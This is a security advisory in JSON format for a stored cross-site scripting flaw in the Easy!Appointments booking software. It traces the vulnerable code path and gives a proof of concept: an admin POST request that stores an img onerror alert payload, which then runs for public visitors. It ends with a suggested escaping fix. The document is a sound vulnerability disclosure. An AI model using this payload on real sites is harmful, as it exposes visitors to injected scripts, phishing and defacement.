CVE-2026-52838: Alextselegidis/easyappointments Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-996f-334j-67g7",
  "modified" : "2026-07-29T16:30:09Z",
  "published" : "2026-07-29T16:30:09Z",
  "aliases" : [ "CVE-2026-52838" ],
  "summary" : "Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS",
  "details" : "## Summary\n \nEasy!Appointments allows administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization:\n \n```php\n<p><?= vars('message_text') ?></p>\n```\n \nAn authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Rich text editor value stored without sanitization\nThe booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:\n \n```javascript\n// assets/js/pages/booking_settings.js line 61-92\nbookingSettings.push({\n    name: 'disable_booking_message',\n    value: $disableBookingMessage.trumbowyg('html'),\n});\n```\n \n### Step 2 — Settings controller saves value verbatim\nThe backend settings controller persists the submitted value without any HTML sanitization:\n \n```php\n// application/controllers/Booking_settings.php line 76-104\n$this->settings_model->save($setting);\n```\n \n### Step 3 — Public booking controller forwards stored value to view\nWhen booking is disabled, the public booking controller loads the stored message and passes it directly to the view:\n \n```php\n// application/controllers/Booking.php line 113-132\n$disable_booking_message = setting('disable_booking_message');\n \nhtml_vars([\n    'message_text' => $disable_booking_message,\n]);\n```\n \n### Step 4 — Public view renders value without escaping\nThe booking message view emits the value raw using PHP's short echo tag with no escaping:\n \n```php\n// application/views/pages/booking_message.php line 10-12\n<p><?= vars('message_text') ?></p>\n```\n \nNo `htmlspecialchars()`, no sanitization, no template escaping is applied at any point in this rendering path.\n \n---\n \n## Proof of Concept\n \n**Step 1 — Store malicious disabled-booking message as admin:**\n \n```http\nPOST /index.php/booking_settings/save HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: <admin-session-cookie>\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert(\"easyappointments xss by ashrexon\")>\n```\n \nResponse: `200 OK` — settings saved successfully\n \n**Step 2 — Unauthenticated visitor opens public booking page:**\n \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:18094\n(no authentication)\n```\n \n**Observed response fragment:**\n```html\n<p><img src=x onerror=alert(\"easyappointments xss by ashrexon\")></p>\n```\n \n**Observed browser behavior:**\n \n`alert(\"easyappointments xss by ashrexon\")` executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.\n \n**Runtime verification result:**\n```\nadmin login ok\nsettings save ok\npayload reflected on public page\nPASS\n```\n \n---\n \n## Real World Impact\n \nEasy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:\n \n- Execute arbitrary JavaScript in visitor browsers on the trusted booking domain\n- Phish visitor credentials or personal information during booking downtime\n- Deface the public booking page during maintenance or outage windows\n- Redirect visitors to attacker-controlled sites\n---\n \n## Suggested Fix\n \nEscape the message value before rendering in the view:\n \n```php\n// application/views/pages/booking_message.php\n<p><?= e(vars('message_text')) ?></p>\n```\n \nAlternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the `disable_booking_message` value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "alextselegidis/easyappointments"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.5.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-996f-334j-67g7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52838"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/alextselegidis/easyappointments/commit/629a0415f54f75556c17f4f5d9c77fda1fdbdeae"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/alextselegidis/easyappointments"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T16:30:09Z",
    "nvd_published_at" : "2026-07-14T16:17:00Z"
  }
}